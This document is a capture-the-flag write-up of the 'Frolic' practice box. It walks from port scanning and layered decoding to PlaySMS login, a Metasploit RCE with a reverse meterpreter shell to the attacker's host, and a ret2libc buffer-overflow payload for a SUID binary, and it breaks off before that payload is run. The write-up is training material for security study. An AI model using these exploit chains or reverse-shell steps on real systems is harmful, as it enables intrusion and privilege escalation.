Ech0 - 19 / 01 / 2020

Frolic Writeup

Introduction :



Frolic is an easy Linux box released back in October 2018.

Part 1 : Initial Enumeration



As always we begin our Enumeration using Nmap to enumerate opened ports.
We will be using the flags -sC for default scripts and -sV to enumerate versions.

  λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB ]
  → nmap -F 10.10.10.111
  Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-04 10:29 CET
  Nmap scan report for 10.10.10.111
  Host is up (0.062s latency).
  Not shown: 96 closed ports
  PORT     STATE SERVICE
  22/tcp   open  ssh
  139/tcp  open  netbios-ssn
  445/tcp  open  microsoft-ds
  9999/tcp open  abyss

  Nmap done: 1 IP address (1 host up) scanned in 0.46 seconds
  λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB ]
→nmap -sC -sV 10.10.10.111 -p 22,139,445,9999
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-04 10:29 CET
Nmap scan report for 10.10.10.111
Host is up (0.066s latency).

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
|   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
|_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
9999/tcp open  http        nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -1h49m30s, deviation: 3h10m30s, median: 28s
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: frolic
|   NetBIOS computer name: FROLIC\x00
|   Domain name: \x00
|   FQDN: frolic
|_  System time: 2019-12-04T15:00:07+05:30
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2019-12-04T09:30:07
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.21 seconds

Part 2 : Getting User Access



Our nmap picked up a nginx service running on port 9999. Let's run the dirsearch command with the -r -e -t and -x flags.

  λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/ ]
→ dirsearch -u http://10.10.10.111:9999/ -r -e php -t 50 -x 403

 _|. _ _  _  _  _ _|_    v0.3.9
(_||| _) (/_(_|| (_| )

Extensions: php | HTTP method: get | Threads: 50 | Wordlist size: 6027 | Recursion level: 1

Error Log: /home/ech0/.dirsearch/logs/errors-19-12-05_09-16-15.log

Target: http://10.10.10.111:9999/

[09:16:16] Starting:
[09:16:16] 400 -  182B  - /%2e%2e/google.com
[09:16:19] 301 -  194B  - /admin  ->  http://10.10.10.111:9999/admin/
[09:16:19] 200 -  634B  - /admin/
[09:16:19] 200 -  634B  - /admin/?/login
[09:16:19] 200 -  634B  - /admin/index.html
[09:16:22] 301 -  194B  - /backup  ->  http://10.10.10.111:9999/backup/
[09:16:22] 200 -   28B  - /backup/
[09:16:24] 301 -  194B  - /dev  ->  http://10.10.10.111:9999/dev/
[09:16:32] 301 -  194B  - /test  ->  http://10.10.10.111:9999/test/
[09:16:32] 200 -   83KB - /test/
[09:16:33] Starting: admin/
[09:16:41] 301 -  194B  - /admin/css  ->  http://10.10.10.111:9999/admin/css/
[09:16:44] 200 -  634B  - /admin/index.html
[09:16:44] 301 -  194B  - /admin/js  ->  http://10.10.10.111:9999/admin/js/
[09:16:51] Starting: backup/
[09:17:02] 200 -   28B  - /backup/index.php
[09:17:04] 200 -   22B  - /backup/password.txt
[09:17:08] 200 -   13B  - /backup/user.txt
[09:17:09] Starting: dev/
[09:17:15] 301 -  194B  - /dev/backup  ->  http://10.10.10.111:9999/dev/backup/
[09:17:15] 200 -   11B  - /dev/backup/
[09:17:26] 200 -    5B  - /dev/test
[09:17:27] Starting: test/
[09:17:38] 200 -   83KB - /test/index.php
[09:17:46] Starting: css/
[09:18:04] Starting: js/

Task Completed

Dirsearch seems to have found the /admin/ folder.

Looking at the sourcecode of that page, it seems to be calling the js/login.js script. So let's browse to it to see what we get. We will be using the curl command along with the -s and -k flags.

λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/ ]
→ curl -sk http://10.10.10.111:9999/admin/js/login.js
var attempt = 3; // Variable to count number of attempts.
// Below function Executes on click of login button.
function validate(){
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;
if ( username == "admin" && password == "superduperlooperpassword_lol"){
alert ("Login successfully");
window.location = "success.html"; // Redirecting to other page.
return false;
}
else{
attempt --;// Decrementing by one.
alert("You have left "+attempt+" attempt;");
// Disabling fields after 3 attempts.
if( attempt == 0){
document.getElementById("username").disabled = true;
document.getElementById("password").disabled = true;
document.getElementById("submit").disabled = true;
return false;
}
}
}

It seems that the javascript would redirect the user to yet another page which is success.html

  λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/ ]
→ curl -sk http://10.10.10.111:9999/admin/success.html
..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... .....
..... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... .....
....! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! .....
..... .!.!! !!!!! !!!!! !!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!!
!!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... .....
..... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?.
?!.?. ..... ..!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?.... .....
..... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... .....
..... .!?!! .?... ..... ..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!!
!.!!! !!... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!!
!!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?!
.?... ..... ....! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?..
!.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!!?.
?!.?! !!!!! !!!!! !!... ..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.?
!!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!!
!.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!! !!?.? !.?!!
!.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... ..... ..... ..!.. .....
..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!!
!!!!? .?!.? !!!!! !!.?. ..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!!
!!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .....
..... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! .....
..!.! !!!!! !.?.

browsing to it we seem to get an Ook! encoded string. Decoding the string seems to show up the message "Nothing here check /asdiSIAJJ0QWE9JAS" So we will browse to it to see what we can work with.

  λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/ ]
→ curl -sk http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS/
UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB
BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs
K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve
EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj
lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC
AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG
AAAAAAEAAQBPAAAAAwEAAAAA

Seems like we have a base64 string here, so we will pipe it into the base64 decoding command.

  λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/ ]
→ curl -sk http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS/ | base64 -d
PK     É7M#�[�i	index.phpUT	�|�[�|�[ux
                                          ^D�J�s�h�)�P�n
                                                        ��Ss�Jw�܎�4��ُk�z��UȖ�+X��P��ᶇ��л�x_�N�[���S��8����J2S�*�DЍ}�8dTQk������j_�����'xc��ݏt��75Q�
                               ���k,4��b)�4F��	��������&q2o�WԜ�9P#�[�iPK      É7M#�[�i	��index.phpUT�|�[ux
                                                                                                           PKO%

Even weirder ! It seems to have taken a binary form. so we will save it locally and check what filetype it is.

  λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/ ]
→ curl -sk http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS/ | base64 -d > unknown_file

λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/ ]
→ file unknown_file
unknown_file: Zip archive data, at least v2.0 to extract

So we have a zipfile to work with ! Let's give it it's appropriate extension and try to extract it once we find it's password using fcrackzip. We will be using the rockyou.txt wordlist to see if the password of that zip file is publicly known.

  λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ]
→ curl -sk https://www.scrapmaker.com/data/wordlists/dictionaries/rockyou.txt > rockyou.txt

λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ]
→ ls -l
total 136648
-rw-r--r-- 1 ech0 users 139921497 Dec  5 09:53 rockyou.txt
-rw-r--r-- 1 ech0 users       360 Dec  5 09:45 zipfile.zip

λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ]
→ fcrackzip --help

fcrackzip version 1.0, a fast/free zip password cracker
written by Marc Lehmann <pcg@goof.com> You can find more info on
http://www.goof.com/pcg/marc/

USAGE: fcrackzip
          [-b|--brute-force]            use brute force algorithm
          [-D|--dictionary]             use a dictionary
          [-B|--benchmark]              execute a small benchmark
          [-c|--charset characterset]   use characters from charset
          [-h|--help]                   show this message
          [--version]                   show the version of this program
          [-V|--validate]               sanity-check the algortihm
          [-v|--verbose]                be more verbose
          [-p|--init-password string]   use string as initial password/file
          [-l|--length min-max]         check password with length min to max
          [-u|--use-unzip]              use unzip to weed out wrong passwords
          [-m|--method num]             use method number "num" (see below)
          [-2|--modulo r/m]             only calculcate 1/m of the password
          file...                    the zipfiles to crack

methods compiled in (* = default):

 0: cpmask
 1: zip1
*2: zip2, USE_MULT_TAB

we will be using the zip password cracking tool with the -u , -D and -p flags.

  λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ]
→ fcrackzip -u -D -p rockyou.txt zipfile.zip


PASSWORD FOUND!!!!: pw == password

It was short ! now we can extract the zip file contents with the 7z command.

  λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ]
  → 7z x zipfile.zip -ppassword

  7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
  p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Pentium(R) Silver N5000 CPU @ 1.10GHz (706A1),ASM,AES-NI)

  Scanning the drive for archives:
  1 file, 360 bytes (1 KiB)

  Extracting archive: zipfile.zip
  --
  Path = zipfile.zip
  Type = zip
  Physical Size = 360


  Would you like to replace the existing file:
    Path:     ./index.php
    Size:     0 bytes
    Modified: 2018-09-23 12:44:05
  with the file from archive:
    Path:     index.php
    Size:     617 bytes (1 KiB)
    Modified: 2018-09-23 12:44:05
  ? (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? y

  Everything is Ok

  Size:       617
  Compressed: 360

λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ]
→ ls
index.php  rockyou.txt  zipfile.zip

It contained a php file named "index" , let's see what we can do with it.

  λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ]
→ cat index.php
4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a

The contents of index.php seems to contain a hexadecimal encoded string. we will pipe the output of the cat command into the xxd command with the -r and -p flags.

λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ]
→ cat index.php | xxd -r -p
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==

Looking at the results, we seem to have a base64 encoded string. we will pipe the output of the 2 previous commands into the base64 command with the -d flag.

λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ]
→ cat index.php | xxd -r -p | base64 -d
+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+base64: invalid input

Seems to be a brainfuck string ! however base64 doesn't like getting piped non-alphabet charcaters such as the endline special charcater, so we add the -i flag to bypass them.

λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ]
→ cat index.php |xxd -r -p | base64 -d -i
+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+
++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->---
<]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]>
++..<

Now that we have our full brainfuck encoded message , we will decode it using a brainfuck interpreter.

Now we have a password we could work with ! Although we do not know where yet. Looking back at our dirsearch results we see that there the /dev/backup folder.

  λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ]
→ curl -sk http://10.10.10.111:9999/dev/backup/
/playsms

Yet another page ! let's browse to /playsms to see what we can work with.

Seems like we have a login page ! let's test our "idkwhatispass" password with something trivial like root or admin

Using the admin:idkwhatispass credentials, we have been able to log in ! We run a quick searchsploit command to see what exploits may be available for the playsms webservice

  λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ]
→ searchsploit playsms
---------------------------------------------------- ----------------------------------------
 Exploit Title                                      |  Path
                                                    | (/usr/share/exploitdb/)
---------------------------------------------------- ----------------------------------------
PlaySMS - 'import.php' (Authenticated) CSV File Upl | exploits/php/remote/44598.rb
PlaySMS 1.4 - '/sendfromfile.php' Remote Code Execu | exploits/php/webapps/42003.txt
PlaySMS 1.4 - 'import.php' Remote Code Execution    | exploits/php/webapps/42044.txt
PlaySMS 1.4 - 'sendfromfile.php?Filename' (Authenti | exploits/php/remote/44599.rb
PlaySMS 1.4 - Remote Code Execution                 | exploits/php/webapps/42038.txt
PlaySms 0.7 - SQL Injection                         | exploits/linux/remote/404.pl
PlaySms 0.8 - 'index.php' Cross-Site Scripting      | exploits/php/webapps/26871.txt
PlaySms 0.9.3 - Multiple Local/Remote File Inclusio | exploits/php/webapps/7687.txt
PlaySms 0.9.5.2 - Remote File Inclusion             | exploits/php/webapps/17792.txt
PlaySms 0.9.9.2 - Cross-Site Request Forgery        | exploits/php/webapps/30177.txt
---------------------------------------------------- ----------------------------------------
Shellcodes: No Result

It seems like we may be able to use a metasploit module to get onto the machine, let's fire up msfconsole and see what we could potentially work with.

  msf5 > search playsms

  Matching Modules
  ================

     #  Name                                       Disclosure Date  Rank       Check  Description
     -  ----                                       ---------------  ----       -----  -----------
     0  exploit/multi/http/playsms_filename_exec   2017-05-21       excellent  Yes    PlaySMS sendfromfile.php Authenticated "Filename" Field Code Execution
     1  exploit/multi/http/playsms_uploadcsv_exec  2017-05-21       excellent  Yes    PlaySMS import.php Authenticated CSV File Upload Code Execution


msf5 >
  msf5 > use multi/http/playsms_uploadcsv_exec
msf5 exploit(multi/http/playsms_uploadcsv_exec) > show options

Module options (exploit/multi/http/playsms_uploadcsv_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   admin            yes       Password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base playsms directory path
   USERNAME   admin            yes       Username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   PlaySMS 1.4

Seems like we have to set the rhost, lhost, rport, targeturi and password options.

  msf5 exploit(multi/http/playsms_uploadcsv_exec) > set rhosts 10.10.10.111
rhosts => 10.10.10.111

msf5 exploit(multi/http/playsms_uploadcsv_exec) > set lhost 10.10.14.48
lhost => 10.10.14.48

msf5 exploit(multi/http/playsms_uploadcsv_exec) > set rport 9999
rport => 9999

msf5 exploit(multi/http/playsms_uploadcsv_exec) > set targeturi /playsms/
targeturi => /playsms/

msf5 exploit(multi/http/playsms_uploadcsv_exec) > set password idkwhatispass
password => idkwhatispass

msf5 exploit(multi/http/playsms_uploadcsv_exec) > exploit

[*] Started reverse TCP handler on 10.10.14.48:4444
[+] Authentication successful: admin:idkwhatispass
[*] Sending stage (38288 bytes) to 10.10.10.111
[*] Meterpreter session 1 opened (10.10.14.48:4444 -> 10.10.10.111:41616) at 2019-12-05 11:04:30 +0100

meterpreter > sysinfo
Computer    : frolic
OS          : Linux frolic 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:22:43 UTC 2018 i686
Meterpreter : php/linux

it worked ! we have a meterpreter session onto the linux box. Let's create a shell and see if we can print out the user flag.


meterpreter > shell
Process 24934 created.
Channel 0 created.
whoami
www-data

cd ../../../../home

ls
ayush
sahay

cd ayush

ls
user.txt

cat user.txt
2aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And we have the user flag !

Part 3 : Getting Root Access



Now in order to elevate our shell to administrating privileges, we first have to find binary files with the SUID bit active.$

   find / -perm -4000 2>/dev/null
/sbin/mount.cifs
/bin/mount
/bin/ping6
/bin/fusermount
/bin/ping
/bin/umount
/bin/su
/bin/ntfs-3g

/home/ayush/.binary/rop

/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/at
/usr/bin/sudo
/usr/bin/newgidmap
/usr/bin/chsh

 

There seems to be something interesting in /home/ayush/.binary/rop ! Let's first spawn a TTY Shell , then see what we can work with in the .binary directory

python -c 'import pty; pty.spawn("/bin/sh")'
$ cd /home/ayush
cd ayush

$ ls -la
ls -la
total 36
drwxr-xr-x 3 ayush ayush 4096 Sep 25  2018 .
drwxr-xr-x 4 root  root  4096 Sep 23  2018 ..
-rw------- 1 ayush ayush 2781 Sep 25  2018 .bash_history
-rw-r--r-- 1 ayush ayush  220 Sep 23  2018 .bash_logout
-rw-r--r-- 1 ayush ayush 3771 Sep 23  2018 .bashrc
drwxrwxr-x 2 ayush ayush 4096 Sep 25  2018 .binary
-rw-r--r-- 1 ayush ayush  655 Sep 23  2018 .profile
-rw------- 1 ayush ayush  965 Sep 25  2018 .viminfo
-rwxr-xr-x 1 ayush ayush   33 Sep 25  2018 user.txt

$ cd .binary
cd .binary

$ ls
ls
rop

$ ls -la
ls -la
total 16
drwxrwxr-x 2 ayush ayush 4096 Sep 25  2018 .
drwxr-xr-x 3 ayush ayush 4096 Sep 25  2018 ..
-rwsr-xr-x 1 root  root  7480 Sep 25  2018 rop

$ ./rop
./rop
[*] Usage: program <message>

$ ./rop ech0
./rop ech0
[+] Message sent: ech0$

$ ./rop 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
./rop 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Segmentation fault (core dumped)

$ cat /proc/sys/kernel/randomize_va_space
cat /proc/sys/kernel/randomize_va_space
0
 

As you can see, the rop binary possess root privileges, and it seems that there may be a buffer overflow vulnerability that we can work with. Also note that ASLR is disabled (0) on the machine which means that the buffer overflow vuln could potentially give us a privilege escalation. let's download the rop binary locally first, we will simply use python's SimpleHTTPServer that is present on the machine in combination with wget on our local machine.

Terminal 1:
$ ls
ls
rop

$ python -m SimpleHTTPServer
python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

10.10.14.48 - - [05/Dec/2019 15:53:19] "GET /rop HTTP/1.1" 200
 
Terminal 2:
λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ]
→ wget 10.10.10.111:8000/rop
--2019-12-05 11:22:47--  http://10.10.10.111:8000/rop
Connecting to 10.10.10.111:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7480 (7.3K) [application/octet-stream]
Saving to: ‘rop’

rop                          100%[==============================================>]   7.30K  --.-KB/s    in 0s

2019-12-05 11:22:47 (171 MB/s) - ‘rop’ saved [7480/7480]
 

Now that we have the binary saved locally, let's see what we can do with it.

   λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ]
→ locate pattern_create
/opt/metasploit/.tools/exploit/pattern_create.rb
/opt/metasploit/tools/exploit/pattern_create.rb

λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ]
→ /opt/metasploit/tools/exploit/pattern_create.rb -l 128
WARNING: Nokogiri was built against LibXML version 2.9.9, but has dynamically loaded 2.9.10
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae

Now that we have

λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ]
→ gdb -q rop
GEF for linux ready, type `gef' to start, `gef config' to configure
79 commands loaded for GDB 8.3.1 using Python engine 3.8
[*] 1 command could not be loaded, run `gef missing` to know why.
Reading symbols from rop...
(No debugging symbols found in rop)
gef➤  checksec
[+] checksec for '/home/ech0/_HTB/Frolic/rop'
Canary                        : No
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Partial

 

one thing to note is that when we run the checksec command onto the rop binary within GEF, we see that the NX bit is enabled, which means that we won't be able to execute shellcode on the stack.


   gef➤  run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae
   Starting program: /home/ech0/_HTB/Frolic/rop Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae

   Program received signal SIGSEGV, Segmentation fault.
   0x62413762 in ?? ()
   [ Legend: Modified register | Code | Heap | Stack | String ]
   ───────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
   $eax   : 0x80
   $ebx   : 0xffffd2c0  →  "4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae"
   $ecx   : 0xffffd220  →  0xf7f8ece0  →  0xfbad2a84
   $edx   : 0xffffd2d8  →  0xf7f8de00  →  0x00000000
   $esp   : 0xffffd290  →  "8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A[...]"
   $ebp   : 0x41366241 ("Ab6A"?)
   $esi   : 0xf7f8de24  →  0x001e2d2c (",-"?)
   $edi   : 0xf7f8de24  →  0x001e2d2c (",-"?)
   $eip   : 0x62413762 ("b7Ab"?)
   $eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
   $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
   ───────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
   0xffffd290│+0x0000: "8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A[...]"	 ← $esp
   0xffffd294│+0x0004: "Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad[...]"
   0xffffd298│+0x0008: "c1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7[...]"
   0xffffd29c│+0x000c: "2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8A[...]"
   0xffffd2a0│+0x0010: "Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae[...]"
   0xffffd2a4│+0x0014: "c5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1[...]"
   0xffffd2a8│+0x0018: "6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae"
   0xffffd2ac│+0x001c: "Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae"
   ─────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
   [!] Cannot disassemble from $PC
   [!] Cannot access memory at address 0x62413762
   ─────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
   [#0] Id 1, Name: "rop", stopped, reason: SIGSEGV
   ───────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
   ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   gef➤

looking at the results, we see that the program crashes with EIP set to 0x62413762. let's run pattern_offset.rb to find the offset of 0x62413762.

λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ]
→ locate pattern_offset.rb
/opt/metasploit/.tools/exploit/pattern_offset.rb
/opt/metasploit/tools/exploit/pattern_offset.rb

λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ]
→ /opt/metasploit/tools/exploit/pattern_offset.rb -q 0x62413762
WARNING: Nokogiri was built against LibXML version 2.9.9, but has dynamically loaded 2.9.10
[*] Exact match at offset 52

We seem to have an exact match at offset 52! back to our meterpreter session, we use either curl or wget to download the libc library locally.

  λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ]
→ nc -lvnp 4444 > libc

  listening on [any] 4444 ...
  connect to [10.10.14.23] from (UNKNOWN) [10.10.10.111] 59480

  λ ech0 [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ]
→ one_gadget -f libc rop

  0x3ac5c execve("/bin/sh", esp+0x28, environ)
  constraints:
    esi is the GOT address of libc
    [esp+0x28] == NULL

now that we have a gadget at 0x3ac5c, we should be able to get a shell. Although we need to find libc's base address, for that matter we will use the ldd command.

  $ ldd rop
ldd rop
	linux-gate.so.1 =>  (0xb7fda000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
	/lib/ld-linux.so.2 (0xb7fdb000)

And that's all we need ! we have the base address 0xb7e19000, now we are ready to write our exploit.

  from pwn import *

  payload = "A" * 52 + p32(0xb7e19000+0x3ac5c)

  print payload

Running the exploit locally for it to generate the payload, we will then upload the payload onto the machine and it will give us a privilege escalation.

λ root [ 10.10.14.48/23 ] [ech0/_HTB/Frolic] → python exploit.py > payload

λ root [ 10.10.14.48/23 ] [ech0/_HTB/Frolic] → ls
